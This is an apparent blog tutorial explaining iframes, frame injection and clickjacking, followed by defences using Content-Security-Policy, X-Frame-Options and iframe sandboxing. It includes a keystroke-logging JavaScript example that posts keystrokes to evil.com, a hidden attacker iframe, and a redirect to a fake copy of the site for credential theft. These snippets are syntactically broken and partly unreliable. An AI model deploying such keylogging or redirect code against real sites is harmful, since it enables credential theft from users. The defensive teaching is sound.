What is IFrame?

iFrame is the component of an HTML element that allows you to embed documents, videos, and interactive media within a page. In mostly cases the iFrame functionality is used in website to display the secondary content or HTML document on the current web page that helps to the new visitors to view the highlighted content even even we can use iFrame elements to display content from other sources. Using iFrame is quite simple and I hope you will understand from the given picture.

The “iframe” Tag

The <iframe> tag is an HTML tag used to seamlessly embed content from another page or site. (The “i” in “iframe” stands for “invisible”, i.e. “invisible frame”.) IFrames are used on thousands and thousands of sites, because that’s what Google uses for its AdSense ads — the little bit of JavaScript you paste on your page eventually ends up inserting an <iframe> into the HTML of your page.

The Power of a Frame Injection Attack

Frame injection attack involves an attacker injecting a frame into your webpage. The impact of this vulnerability has changed in parallel with the development of browsers. For example, as mentioned above, previously, the address within the frames could be changed from a site loaded in a different window. Later, methods, such as keystroke hijacking, were used to capture the keyboard activity of users using frames.

Here is the example for Iframe Injection

<!-- http://evil.com/example.com-login.html -->
// array of user keystrokes
var keystrokes = [];
// event listener which captures user keystrokes
document.onkeypress = function() {
// function which reports keystrokes back to evil.com every second
setInterval(function() {
   if (keystrokes.length) {
       var xhr = newXHR();
       xhr.open("POST", "http://evil.com/k");
   keystrokes = [];
}, 1000);
// function which creates an ajax request object
function newXHR() {
   if (window.XMLHttpRequest)
       return new XMLHttpRequest();
   return new ActiveXObject("MSXML2.XMLHTTP.3.0");

Let say, your site load this iFrame:

<iframe src=’https://www.attackers.com’ style=’visibility: hidden;’></iframe>

But the iFrame use transparent layers on top of link or button in your site. Then inside attacker site https://www.attackers.com, there is script to be executed when user click on link/button in your site. This is the example code snippet of the script:

  function onClickLink() {
    // will redirect your site
    window.top.location = 'https://fake-yoursite.com';
  function onClickButton() {
    // will open site in new tab

After the user clicked the link/button, the site will be redirected to the attacker site (which is fake your site). Then if the user doesn’t aware the link in the URL bar, the attacker can steal user data such as credentials, user email, password, and other sensitive information. This is one of the dangerous attacks that should be handled by developers.

Prevention method:

  1. Include proper Content-Security-Policy: frame-src configurations. This setup will make your site not allowed to render other sites other than included in the configurations.
  2. Include proper Content-Security-Policy: frame-ancestors configurations. You can also use X-Frame-Options for older browser compatibility. These setups will make your site not allowed to be rendered by other sites other than included in the configurations.
  3. Include sandbox attribute with proper configurations in an iFrame, such as removing allow-top-navigationallow-top-navigation-by-user-activationallow-popups, or allow-popups-to-escape-sandbox.  You can also use Content-Security-Policy: sandbox to be applied for all iFrame in your site. This setup will restrict iFrames loaded in your site to do page actions other than those included in the configurations.


  • Use trusted third-party libraries.
  • Use trusted plugins.
  • Handle XSS in your site to prevent iFrame injection.
  • Use trusted iFrames source.
  • Use proper Content-Security-Policy: frame-ancestors configurations. …
  • Use proper Content-Security-Policy: frame-src configurations.